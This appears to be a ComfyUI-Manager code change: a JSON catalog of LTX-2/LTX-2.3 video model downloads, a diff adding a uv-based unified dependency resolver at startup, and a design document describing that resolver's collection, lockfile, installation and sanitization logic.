"filename": "ltx-2-19b-ic-lora-pose-control.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-IC-LoRA-Pose-Control/resolve/main/ltx-2-19b-ic-lora-pose-control.safetensors",
"size": "654MB"
},
{
"name": "LTX-2 19B LoRA - Camera Control Dolly In",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA for dolly-in camera control with LTX-2 19B. Simulates camera moving closer to subject.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Dolly-In",
"filename": "ltx-2-19b-lora-camera-control-dolly-in.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Dolly-In/resolve/main/ltx-2-19b-lora-camera-control-dolly-in.safetensors",
"size": "327MB"
},
{
"name": "LTX-2 19B LoRA - Camera Control Dolly Left",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA for dolly-left camera control with LTX-2 19B. Simulates camera moving left.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Dolly-Left",
"filename": "ltx-2-19b-lora-camera-control-dolly-left.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Dolly-Left/resolve/main/ltx-2-19b-lora-camera-control-dolly-left.safetensors",
"size": "327MB"
},
{
"name": "LTX-2 19B LoRA - Camera Control Dolly Out",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA for dolly-out camera control with LTX-2 19B. Simulates camera moving away from subject.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Dolly-Out",
"filename": "ltx-2-19b-lora-camera-control-dolly-out.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Dolly-Out/resolve/main/ltx-2-19b-lora-camera-control-dolly-out.safetensors",
"size": "327MB"
},
{
"name": "LTX-2 19B LoRA - Camera Control Dolly Right",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA for dolly-right camera control with LTX-2 19B. Simulates camera moving right.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Dolly-Right",
"filename": "ltx-2-19b-lora-camera-control-dolly-right.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Dolly-Right/resolve/main/ltx-2-19b-lora-camera-control-dolly-right.safetensors",
"size": "327MB"
},
{
"name": "LTX-2 19B LoRA - Camera Control Jib Down",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA for jib-down camera control with LTX-2 19B. Simulates vertical camera movement downwards.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Jib-Down",
"filename": "ltx-2-19b-lora-camera-control-jib-down.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Jib-Down/resolve/main/ltx-2-19b-lora-camera-control-jib-down.safetensors",
"size": "2.21GB"
},
{
"name": "LTX-2 19B LoRA - Camera Control Jib Up",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA for jib-up camera control with LTX-2 19B. Simulates vertical camera movement upwards.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Jib-Up",
"filename": "ltx-2-19b-lora-camera-control-jib-up.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Jib-Up/resolve/main/ltx-2-19b-lora-camera-control-jib-up.safetensors",
"size": "2.21GB"
},
{
"name": "LTX-2 19B LoRA - Camera Control Static",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA for static camera control with LTX-2 19B. Simulates stationary/static camera view.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Static",
"filename": "ltx-2-19b-lora-camera-control-static.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Static/resolve/main/ltx-2-19b-lora-camera-control-static.safetensors",
"size": "2.21GB"
},
{
"name": "LTX-2.3 22B Dev",
"type": "checkpoint",
"base": "LTX-2.3",
"save_path": "checkpoints/LTX-2.3",
"description": "LTX-2.3 22B development model.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3",
"filename": "ltx-2.3-22b-dev.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3/resolve/main/ltx-2.3-22b-dev.safetensors",
"size": "42.98GB"
},
{
"name": "LTX-2.3 22B Distilled 1.1",
"type": "checkpoint",
"base": "LTX-2.3",
"save_path": "checkpoints/LTX-2.3",
"description": "LTX-2.3 22B distilled model v1.1.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3",
"filename": "ltx-2.3-22b-distilled-1.1.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3/resolve/main/ltx-2.3-22b-distilled-1.1.safetensors",
"size": "42.98GB"
},
{
"name": "LTX-2.3 22B Dev FP8",
"type": "checkpoint",
"base": "LTX-2.3",
"save_path": "checkpoints/LTX-2.3",
"description": "LTX-2.3 22B Dev FP8 model.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3-fp8",
"filename": "ltx-2.3-22b-dev-fp8.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3-fp8/resolve/main/ltx-2.3-22b-dev-fp8.safetensors",
"size": "27.14GB"
},
{
"name": "LTX-2.3 22B Distilled FP8",
"type": "checkpoint",
"base": "LTX-2.3",
"save_path": "checkpoints/LTX-2.3",
"description": "LTX-2.3 22B Distilled FP8 model.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3-fp8",
"filename": "ltx-2.3-22b-distilled-fp8.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3-fp8/resolve/main/ltx-2.3-22b-distilled-fp8.safetensors",
"size": "27.50GB"
},
{
"name": "LTX-2.3 22B Dev NVFP4",
"type": "checkpoint",
"base": "LTX-2.3",
"save_path": "checkpoints/LTX-2.3",
"description": "LTX-2.3 22B Dev NVFP4 model.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3-nvfp4",
"filename": "ltx-2.3-22b-dev-nvfp4.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3-nvfp4/resolve/main/ltx-2.3-22b-dev-nvfp4.safetensors",
"size": "20.21GB"
},
{
"name": "LTX-2.3 22B Distilled LoRA 1.1",
"type": "lora",
"base": "LTX-2.3",
"save_path": "loras/ltxv/ltx2",
"description": "A LoRA adapter that transforms the standard LTX-2.3 22B model into a distilled version when loaded.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3",
"filename": "ltx-2.3-22b-distilled-lora-384-1.1.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3/resolve/main/ltx-2.3-22b-distilled-lora-384-1.1.safetensors",
"size": "7.08GB"
},
{
"name": "LTX-2.3 22B IC-LoRA Union Control",
"type": "lora",
"base": "LTX-2.3",
"save_path": "loras/ltxv/ltx2",
"description": "In-Context LoRA (IC LoRA) for unified multi-condition control (canny, depth, pose) guided video generation.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3-22b-IC-LoRA-Union-Control",
"filename": "ltx-2.3-22b-ic-lora-union-control-ref0.5.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3-22b-IC-LoRA-Union-Control/resolve/main/ltx-2.3-22b-ic-lora-union-control-ref0.5.safetensors",
"size": "0.61GB"
},
{
"name": "LTX-2.3 22B IC-LoRA Motion Track Control",
"type": "lora",
"base": "LTX-2.3",
"save_path": "loras/ltxv/ltx2",
"description": "In-Context LoRA (IC LoRA) for motion track guided video generation.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3-22b-IC-LoRA-Motion-Track-Control",
"filename": "ltx-2.3-22b-ic-lora-motion-track-control-ref0.5.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3-22b-IC-LoRA-Motion-Track-Control/resolve/main/ltx-2.3-22b-ic-lora-motion-track-control-ref0.5.safetensors",
"size": "0.30GB"
},
{
"name": "LTX-2.3 Spatial Upscaler x2 1.1",
"type": "upscale",
"base": "upscale",
"save_path": "latent_upscale_models",
"description": "Spatial upscaler model for LTX-2.3. This model enhances the spatial resolution of generated videos by 2x.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3",
"filename": "ltx-2.3-spatial-upscaler-x2-1.1.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3/resolve/main/ltx-2.3-spatial-upscaler-x2-1.1.safetensors",
"size": "0.93GB"
},
{
"name": "LTX-2.3 Spatial Upscaler x1.5",
"type": "upscale",
"base": "upscale",
"save_path": "latent_upscale_models",
"description": "Spatial upscaler model for LTX-2.3. This model enhances the spatial resolution of generated videos by 1.5x.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3",
"filename": "ltx-2.3-spatial-upscaler-x1.5-1.0.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3/resolve/main/ltx-2.3-spatial-upscaler-x1.5-1.0.safetensors",
"size": "1.02GB"
},
{
"name": "LTX-2.3 Temporal Upscaler x2",
"type": "upscale",
"base": "upscale",
"save_path": "latent_upscale_models",
"description": "Temporal upscaler model for LTX-2.3. This model enhances the temporal resolution of generated videos.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3",
"filename": "ltx-2.3-temporal-upscaler-x2-1.0.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3/resolve/main/ltx-2.3-temporal-upscaler-x2-1.0.safetensors",
"size": "0.24GB"
},
{
"name": "LTX-Video Spatial Upscaler v0.9.7",
"type": "upscale",
@@ -12,32 +12,15 @@ import ast
import logging
import traceback
glob_path = os.path.join(os.path.dirname(__file__), "glob")
sys.path.append(glob_path)
import security_check
import manager_util
import cm_global
import manager_downloader
from .common import security_check
from .common import manager_util
from .common import cm_global
from .common import manager_downloader
from .common.timestamp_utils import current_timestamp
import folder_paths
manager_util.add_python_path_to_env()
import datetime as dt
if hasattr(dt, 'datetime'):
from datetime import datetime as dt_datetime
def current_timestamp():
return dt_datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
else:
# NOTE: Occurs in some Mac environments.
import time
logging.error(f"[ComfyUI-Manager] fallback timestamp mode\n datetime module is invalid: '{dt.__file__}'")
def current_timestamp():
return str(time.time()).split('.')[0]
cm_global.pip_blacklist = {'torch', 'torchaudio', 'torchsde', 'torchvision'}
cm_global.pip_downgrade_blacklist = ['torch', 'torchaudio', 'torchsde', 'torchvision', 'transformers', 'safetensors', 'kornia']
@@ -66,16 +49,14 @@ def is_import_failed_extension(name):
comfy_path = os.environ.get('COMFYUI_PATH')
comfy_base_path = os.environ.get('COMFYUI_FOLDERS_BASE_PATH')
if comfy_path is None:
# legacy env var
comfy_path = os.environ.get('COMFYUI_PATH')
if comfy_path is None:
comfy_path = os.path.abspath(os.path.dirname(sys.modules['__main__'].__file__))
os.environ['COMFYUI_PATH'] = comfy_path
if comfy_base_path is None:
comfy_base_path = comfy_path
sys.__comfyui_manager_register_message_collapse = register_message_collapse
sys.__comfyui_manager_is_import_failed_extension = is_import_failed_extension
cm_global.register_api('cm.register_message_collapse', register_message_collapse)
@@ -85,23 +66,12 @@ cm_global.register_api('cm.is_import_failed_extension', is_import_failed_extensi
comfyui_manager_path = os.path.abspath(os.path.dirname(__file__))
custom_nodes_base_path = folder_paths.get_folder_paths('custom_nodes')[0]
# Check for System User API availability (PR #10966)
_has_system_user_api = hasattr(folder_paths, 'get_system_user_directory')
if _has_system_user_api:
manager_files_path = os.path.abspath(os.path.join(folder_paths.get_user_directory(), '__manager'))
else:
manager_files_path = os.path.abspath(os.path.join(folder_paths.get_user_directory(), 'default', 'ComfyUI-Manager'))
manager_files_path = folder_paths.get_system_user_directory("manager")
manager_pip_overrides_path = os.path.join(manager_files_path, "pip_overrides.json")
manager_pip_blacklist_path = os.path.join(manager_files_path, "pip_blacklist.list")
restore_snapshot_path = os.path.join(manager_files_path, "startup-scripts", "restore-snapshot.json")
manager_config_path = os.path.join(manager_files_path, 'config.ini')
cm_cli_path = os.path.join(comfyui_manager_path, "cm-cli.py")
default_conf = {}
def read_config():
@@ -118,6 +88,11 @@ def read_uv_mode():
if 'use_uv' in default_conf:
manager_util.use_uv = default_conf['use_uv'].lower() == 'true'
def read_unified_resolver_mode():
if 'use_unified_resolver' in default_conf:
manager_util.use_unified_resolver = default_conf['use_unified_resolver'].lower() == 'true'
def check_file_logging():
global enable_file_logging
if 'file_logging' in default_conf and default_conf['file_logging'].lower() == 'false':
@@ -126,9 +101,14 @@ def check_file_logging():
read_config()
read_uv_mode()
read_unified_resolver_mode()
security_check.security_check()
check_file_logging()
# Module-level flag set by startup batch resolver when it succeeds.
# Used by execute_lazy_install_script() to skip per-node pip installs.
_unified_resolver_succeeded = False
cm_global.pip_overrides = {}
if os.path.exists(manager_pip_overrides_path):
@@ -411,7 +391,11 @@ try:
def emit(self, record):
global is_start_mode
message = record.getMessage()
try:
message = record.getMessage()
except Exception as e:
message = f"<<logging error>>: {record} - {e}"
original_stderr.write(message)
if is_start_mode:
match = re.search(pat_import_fail, message)
@@ -454,35 +438,6 @@ except Exception as e:
print(f"[ComfyUI-Manager] Logging failed: {e}")
def ensure_dependencies():
try:
import git # noqa: F401
import toml # noqa: F401
import rich # noqa: F401
import chardet # noqa: F401
except ModuleNotFoundError:
my_path = os.path.dirname(__file__)
requirements_path = os.path.join(my_path, "requirements.txt")
print("## ComfyUI-Manager: installing dependencies. (GitPython)")
try:
subprocess.check_output(manager_util.make_pip_cmd(['install', '-r', requirements_path]))
except subprocess.CalledProcessError:
print("## [ERROR] ComfyUI-Manager: Attempting to reinstall dependencies using an alternative method.")
try:
subprocess.check_output(manager_util.make_pip_cmd(['install', '--user', '-r', requirements_path]))
except subprocess.CalledProcessError:
print("## [ERROR] ComfyUI-Manager: Failed to install the GitPython package in the correct Python environment. Please install it manually in the appropriate environment. (You can seek help at https://app.element.io/#/room/%23comfyui_space%3Amatrix.org)")
try:
print("## ComfyUI-Manager: installing dependencies done.")
except:
# maybe we should sys.exit() here? there is at least two screens worth of error messages still being pumped after our error messages
print("## [ERROR] ComfyUI-Manager: GitPython package seems to be installed, but failed to load somehow. Make sure you have a working git client installed")
ensure_dependencies()
print("** ComfyUI startup time:", current_timestamp())
print("** Platform:", platform.system())
print("** Python version:", sys.version)
@@ -506,7 +461,7 @@ def read_downgrade_blacklist():
items = [x.strip() for x in items if x != '']
cm_global.pip_downgrade_blacklist += items
cm_global.pip_downgrade_blacklist = list(set(cm_global.pip_downgrade_blacklist))
except:
except Exception:
pass
@@ -527,7 +482,6 @@ check_bypass_ssl()
# Perform install
processed_install = set()
# Use manager_files_path for consistency (fixes path inconsistency bug)
script_list_path = os.path.join(manager_files_path, "startup-scripts", "install-scripts.txt")
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, manager_files_path)
@@ -613,7 +567,10 @@ if os.path.exists(restore_snapshot_path):
if 'COMFYUI_FOLDERS_BASE_PATH' not in new_env:
new_env["COMFYUI_FOLDERS_BASE_PATH"] = comfy_path
cmd_str = [sys.executable, cm_cli_path, 'restore-snapshot', restore_snapshot_path]
if 'COMFYUI_PATH' not in new_env:
new_env['COMFYUI_PATH'] = os.path.dirname(folder_paths.__file__)
cmd_str = [sys.executable, '-m', 'cm_cli', 'restore-snapshot', restore_snapshot_path]
exit_code = process_wrap(cmd_str, custom_nodes_base_path, handler=msg_capture, env=new_env)
if exit_code != 0:
@@ -634,7 +591,8 @@ def execute_lazy_install_script(repo_path, executable):
install_script_path = os.path.join(repo_path, "install.py")
requirements_path = os.path.join(repo_path, "requirements.txt")
if os.path.exists(requirements_path):
if os.path.exists(requirements_path) and not _unified_resolver_succeeded:
# Per-node pip install: only runs if unified resolver is disabled or failed
print(f"Install: pip packages for '{repo_path}'")
lines = manager_util.robust_readlines(requirements_path)
@@ -804,12 +762,40 @@ def execute_startup_script():
print("#######################################################################\n")
# --- Unified dependency resolver: batch resolution at startup ---
# Runs unconditionally when enabled, independent of install-scripts.txt existence.
if manager_util.use_unified_resolver:
try:
from .common.unified_dep_resolver import (
UnifiedDepResolver,
UvNotAvailableError,
collect_base_requirements,
collect_node_pack_paths,
)
_resolver = UnifiedDepResolver(
node_pack_paths=collect_node_pack_paths(folder_paths.get_folder_paths('custom_nodes')),
base_requirements=collect_base_requirements(comfy_path),
blacklist=set(),
overrides={},
downgrade_blacklist=[],
)
_result = _resolver.resolve_and_install()
if _result.success:
_unified_resolver_succeeded = True
logging.info("[UnifiedDepResolver] startup batch resolution succeeded")
else:
manager_util.use_unified_resolver = False
logging.warning("[UnifiedDepResolver] startup batch failed: %s, falling back to per-node pip", _result.error)
except UvNotAvailableError:
manager_util.use_unified_resolver = False
logging.warning("[UnifiedDepResolver] uv not available at startup, falling back to per-node pip")
except Exception as e:
manager_util.use_unified_resolver = False
logging.warning("[UnifiedDepResolver] startup error: %s, falling back to per-node pip", e)
# Check if script_list_path exists
# Block startup-scripts on old ComfyUI (security measure)
if not _has_system_user_api:
if os.path.exists(script_list_path):
print("[ComfyUI-Manager] Startup scripts blocked on old ComfyUI version.")
elif os.path.exists(script_list_path):
if os.path.exists(script_list_path):
execute_startup_script()
@@ -0,0 +1,812 @@
# Architecture Design: Unified Dependency Resolver
## 1. System Architecture
### 1.1 Module Location
```
comfyui_manager/
├── glob/
│ └── manager_core.py # Existing: execute_install_script() call sites (2 locations)
├── common/
│ ├── manager_util.py # Existing: get_pip_cmd(), PIPFixer, use_uv flag
│ ├── cm_global.py # Existing: pip_overrides, pip_blacklist (runtime dynamic assignment)
│ └── unified_dep_resolver.py # New: Unified dependency resolution module
├── prestartup_script.py # Existing: config reading, remap_pip_package, cm_global initialization
└── legacy/
└── manager_core.py # Legacy (not a modification target)
cm_cli/
└── __main__.py # CLI entry: uv-compile command (on-demand batch resolution)
```
The new module `unified_dep_resolver.py` is added to the `comfyui_manager/common/` directory.
It reuses `manager_util` utilities and `cm_global` global state from the same package.
> **Warning**: `cm_global.pip_overrides`, `pip_blacklist`, `pip_downgrade_blacklist` are
> NOT defined in `cm_global.py`. They are **dynamically assigned** during `prestartup_script.py` execution.
> In v1 unified mode, these are **not applied** — empty values are passed to the resolver constructor.
> The constructor interface accepts them for future extensibility (defaults to empty when `None`).
>
> **[DEFERRED]** Reading actual `cm_global` values at startup is deferred to a future version.
> The startup batch resolver in `prestartup_script.py` currently passes `blacklist=set()`,
> `overrides={}`, `downgrade_blacklist=[]`. The constructor and internal methods
> (`_remap_package`, `_is_downgrade_blacklisted`, blacklist check) are fully implemented
> and will work once real values are provided.
### 1.2 Overall Flow
```mermaid
flowchart TD
subgraph INSTALL_TIME["Install Time (immediate)"]
MC["manager_core.py<br/>execute_install_script() — 2 locations"]
MC -->|"use_unified_resolver=True"| SKIP["Skip per-node pip install<br/>(deps deferred to restart)"]
MC -->|"use_unified_resolver=False"| PIP["Existing pip install loop"]
SKIP --> INST["Run install.py"]
PIP --> INST
end
subgraph STARTUP["ComfyUI Restart (prestartup_script.py)"]
CHK{use_unified_resolver?}
CHK -->|Yes| UDR
CHK -->|No| LAZY["execute_lazy_install_script()<br/>per-node pip install (existing)"]
subgraph UDR["UnifiedDepResolver (batch)"]
S1["1. collect_requirements()<br/>(ALL installed node packs)"]
S2["2. compile_lockfile()"]
S3["3. install_from_lockfile()"]
S1 --> S2 --> S3
end
UDR -->|Success| FIX["PIPFixer.fix_broken()"]
UDR -->|Failure| LAZY
LAZY --> FIX2["PIPFixer.fix_broken()"]
end
```
> **Key design change**: The unified resolver runs at **startup time** (module scope), not at install time.
> At install time, `execute_install_script()` skips the pip loop when unified mode is active.
> At startup, `prestartup_script.py` runs the resolver at module scope — unconditionally when enabled,
> independent of `install-scripts.txt` existence. Blacklist/overrides/downgrade_blacklist are bypassed
> (empty values passed); `uv pip compile` handles all conflict resolution natively.
>
> **Note**: `execute_install_script()` exists in 2 locations in the codebase (excluding legacy module).
> - `UnifiedManager.execute_install_script()` (class method): Used for CNR installs, etc.
> - Standalone function `execute_install_script()`: Used for updates, git installs, etc.
> Both skip per-node pip install when unified mode is active.
### 1.3 uv Command Strategy
**`uv pip compile`** → Generates pinned requirements.txt (pip-compatible)
- Do not confuse with `uv lock`
- `uv lock` generates `uv.lock` (TOML) — cross-platform but incompatible with pip workflows
- This design uses a pip-compatible workflow (`uv pip compile``uv pip install -r`)
**`uv pip install -r`** ← Used instead of `uv pip sync`
- `uv pip sync`: **Deletes** packages not in lockfile → Risk of removing torch, ComfyUI deps
- `uv pip install -r`: Only performs additive installs, preserves existing packages → Safe
---
## 2. Class Design
### 2.1 UnifiedDepResolver
```python
class UnifiedDepResolver:
"""
Unified dependency resolver.
Resolves and installs all dependencies of (installed node packs + new node packs)
at once using uv.
Responsibility scope: Dependency resolution and installation only.
install.py execution and PIPFixer calls are handled by the caller (manager_core).
"""
def __init__(
self,
node_pack_paths: list[str],
base_requirements: list[str] | None = None,
blacklist: set[str] | None = None,
overrides: dict[str, str] | None = None,
downgrade_blacklist: list[str] | None = None,
):
"""
Args:
node_pack_paths: List of node pack directory paths
base_requirements: Base dependencies (ComfyUI requirements, etc.)
blacklist: Blacklisted package set (default: empty set; not applied in v1 unified mode)
overrides: Package name remapping dict (default: empty dict; not applied in v1 unified mode)
downgrade_blacklist: Downgrade-prohibited package list (default: empty list; not applied in v1 unified mode)
"""
def resolve_and_install(self) -> ResolveResult:
"""Execute full pipeline: stale cleanup → collect → compile → install.
Calls cleanup_stale_tmp() at start to clean up residual files from previous abnormal terminations."""
def collect_requirements(self) -> CollectedDeps:
"""Collect dependencies from all node packs"""
def compile_lockfile(self, deps: CollectedDeps) -> LockfileResult:
"""Generate pinned requirements via uv pip compile"""
def install_from_lockfile(self, lockfile_path: str) -> InstallResult:
"""Install from pinned requirements (uv pip install -r)"""
```
### 2.2 Data Classes
```python
@dataclass
class PackageRequirement:
"""Individual package dependency"""
name: str # Package name (normalized)
spec: str # Original spec (e.g., "torch>=2.0")
source: str # Source node pack path
@dataclass
class CollectedDeps:
"""All collected dependencies"""
requirements: list[PackageRequirement] # Collected deps (duplicates allowed, uv resolves)
skipped: list[tuple[str, str]] # (package_name, skip_reason)
sources: dict[str, list[tuple[str, str]]] # {package_name: [(pack_path, pkg_spec), ...]}
"""pkg_name → [(pack_path, pkg_spec), ...] — tracks which node packs request each package."""
extra_index_urls: list[str] # Additional index URLs separated from --index-url entries
@dataclass
class LockfileResult:
"""Compilation result"""
success: bool
lockfile_path: str | None # pinned requirements.txt path
conflicts: list[str] # Conflict details
stderr: str # uv error output
@dataclass
class InstallResult:
"""Installation result (uv pip install -r is atomic: all-or-nothing)"""
success: bool
installed: list[str] # Installed packages (stdout parsing)
skipped: list[str] # Already installed (stdout parsing)
stderr: str # uv stderr output (for failure analysis)
@dataclass
class ResolveResult:
"""Full pipeline result"""
success: bool
collected: CollectedDeps | None
lockfile: LockfileResult | None
install: InstallResult | None
error: str | None
```
---
## 3. Core Logic Details
### 3.1 Dependency Collection (`collect_requirements`)
```python
# Input sanitization: dangerous patterns to reject
_DANGEROUS_PATTERNS = re.compile(
r'^(-r\b|--requirement\b|-e\b|--editable\b|-c\b|--constraint\b'
r'|--find-links\b|-f\b|.*@\s*file://)',
re.IGNORECASE
)
def collect_requirements(self) -> CollectedDeps:
requirements = []
skipped = []
sources = defaultdict(list)
extra_index_urls = []
for path in self.node_pack_paths:
# Exclude disabled node packs (directory-based mechanism)
# Disabled node packs are actually moved to custom_nodes/.disabled/,
# so they should already be excluded from input at this point.
# Defensive check: new style (.disabled/ directory) + old style ({name}.disabled suffix)
if ('/.disabled/' in path
or os.path.basename(os.path.dirname(path)) == '.disabled'
or path.rstrip('/').endswith('.disabled')):
continue
req_file = os.path.join(path, "requirements.txt")
if not os.path.exists(req_file):
continue
# chardet-based encoding detection (existing robust_readlines pattern)
for line in self._read_requirements(req_file):
line = line.split('#')[0].strip()
if not line:
continue
# 0. Input sanitization (security)
if self._DANGEROUS_PATTERNS.match(line):
skipped.append((line, f"rejected: dangerous pattern in {path}"))
logging.warning(f"[UnifiedDepResolver] rejected dangerous line: '{line}' from {path}")
continue
# 1. Separate --index-url / --extra-index-url handling
# (BEFORE path separator check, because URLs contain '/')
if '--index-url' in line or '--extra-index-url' in line:
pkg_spec, index_url = self._split_index_url(line)
if index_url:
extra_index_urls.append(index_url)
line = pkg_spec
if not line:
# Standalone option line (no package prefix)
continue
# 1b. Reject path separators in package name portion
pkg_name_part = re.split(r'[><=!~;]', line)[0]
if '/' in pkg_name_part or '\\' in pkg_name_part:
skipped.append((line, f"rejected: path separator in package name"))
continue
# 2. Apply remap_pip_package (using cm_global.pip_overrides)
pkg_spec = self._remap_package(line)
# 3. Blacklist check (cm_global.pip_blacklist)
pkg_name = self._extract_package_name(pkg_spec)
if pkg_name in self.blacklist:
skipped.append((pkg_spec, "blacklisted"))
continue
# 4. Downgrade blacklist check (includes version comparison)
if self._is_downgrade_blacklisted(pkg_name, pkg_spec):
skipped.append((pkg_spec, "downgrade blacklisted"))
continue
# 5. Collect (no dedup — uv handles resolution)
req = PackageRequirement(
name=pkg_name,
spec=pkg_spec,
source=path,
)
requirements.append(req)
sources[pkg_name].append((path, pkg_spec))
return CollectedDeps(
requirements=requirements,
skipped=skipped,
sources=dict(sources),
extra_index_urls=list(set(extra_index_urls)), # Deduplicate
)
def _split_index_url(self, line: str) -> tuple[str, str | None]:
"""Split 'package_name --index-url URL' → (package_name, URL).
Also handles standalone ``--index-url URL`` and
``--extra-index-url URL`` lines (with no package prefix).
"""
# Handle --extra-index-url first (contains '-index-url' as substring
# but NOT '--index-url' due to the extra-index prefix)
for option in ('--extra-index-url', '--index-url'):
if option in line:
parts = line.split(option, 1)
pkg_spec = parts[0].strip()
url = parts[1].strip() if len(parts) == 2 else None
return pkg_spec, url
return line, None
def _is_downgrade_blacklisted(self, pkg_name: str, pkg_spec: str) -> bool:
"""Reproduce the downgrade version comparison from existing is_blacklisted() logic.
Same logic as manager_core.py's is_blacklisted():
- No version spec and already installed → block (prevent reinstall)
- Operator is one of ['<=', '==', '<', '~='] and
installed version >= requested version → block (prevent downgrade)
- Version comparison uses manager_util.StrictVersion (NOT packaging.version)
"""
if pkg_name not in self.downgrade_blacklist:
return False
installed_packages = manager_util.get_installed_packages()
# Version spec parsing (same pattern as existing is_blacklisted())
pattern = r'([^<>!~=]+)([<>!~=]=?)([^ ]*)'
match = re.search(pattern, pkg_spec)
if match is None:
# No version spec: prevent reinstall if already installed
if pkg_name in installed_packages:
return True
elif match.group(2) in ['<=', '==', '<', '~=']:
# Downgrade operator: block if installed version >= requested version
if pkg_name in installed_packages:
try:
installed_ver = manager_util.StrictVersion(installed_packages[pkg_name])
requested_ver = manager_util.StrictVersion(match.group(3))
if installed_ver >= requested_ver:
return True
except (ValueError, TypeError):
logging.warning(f"[UnifiedDepResolver] version parse failed: {pkg_spec}")
return False
return False
def _remap_package(self, pkg: str) -> str:
"""Package name remapping based on cm_global.pip_overrides.
Reuses existing remap_pip_package() logic."""
if pkg in self.overrides:
remapped = self.overrides[pkg]
logging.info(f"[UnifiedDepResolver] '{pkg}' remapped to '{remapped}'")
return remapped
return pkg
```
### 3.2 Lockfile Generation (`compile_lockfile`)
**Behavior:**
1. Create a unique temp directory (`tempfile.mkdtemp(prefix="comfyui_resolver_")`) for concurrency safety
2. Write collected requirements and base constraints to temp files
3. Execute `uv pip compile` with options:
- `--output-file` (pinned requirements path within temp dir)
- `--python` (current interpreter)
- `--constraint` (base dependencies)
- `--extra-index-url` (from `CollectedDeps.extra_index_urls`, logged via `_redact_url()`)
4. Timeout: 300s — returns `LockfileResult(success=False)` on `TimeoutExpired`
5. On `returncode != 0`: parse stderr for conflict details via `_parse_conflicts()`
6. Post-success verification: confirm lockfile was actually created (handles edge case of `returncode==0` without output)
7. Temp directory cleanup: `shutil.rmtree()` in `except` block; on success, caller (`resolve_and_install`'s `finally`) handles cleanup
### 3.3 Dependency Installation (`install_from_lockfile`)
**Behavior:**
1. Execute `uv pip install --requirement <lockfile_path> --python <sys.executable>`
- **NOT `uv pip sync`** — sync deletes packages not in lockfile (dangerous for torch, ComfyUI deps)
2. `uv pip install -r` is **atomic** (all-or-nothing): no partial failure
3. Timeout: 600s — returns `InstallResult(success=False)` on `TimeoutExpired`
4. On success: parse stdout via `_parse_install_output()` to populate `installed`/`skipped` lists
5. On failure: `stderr` captures the failure cause; `installed=[]` (atomic model)
### 3.4 uv Command Resolution
**`_get_uv_cmd()` resolution order** (mirrors existing `get_pip_cmd()` pattern):
1. **Module uv**: `[sys.executable, '-m', 'uv']` (with `-s` flag for embedded Python — note: `python_embeded` spelling is intentional, matching ComfyUI Windows distribution path)
2. **Standalone uv**: `['uv']` via `shutil.which('uv')`
3. **Not found**: raises `UvNotAvailableError` → caught by caller for pip fallback
### 3.5 Stale Temp File Cleanup
**`cleanup_stale_tmp(max_age_seconds=3600)`** — classmethod, called at start of `resolve_and_install()`:
- Scans `tempfile.gettempdir()` for directories with prefix `comfyui_resolver_`
- Deletes directories older than `max_age_seconds` (default: 1 hour)
- Silently ignores `OSError` (permission issues, etc.)
### 3.6 Credential Redaction
```python
_CREDENTIAL_PATTERN = re.compile(r'://([^@]+)@')
def _redact_url(self, url: str) -> str:
"""Mask authentication info in URLs. user:pass@host → ****@host"""
return self._CREDENTIAL_PATTERN.sub('://****@', url)
```
All `--extra-index-url` logging passes through `_redact_url()`:
```python
# Logging example within compile_lockfile()
for url in deps.extra_index_urls:
logging.info(f"[UnifiedDepResolver] extra-index-url: {self._redact_url(url)}")
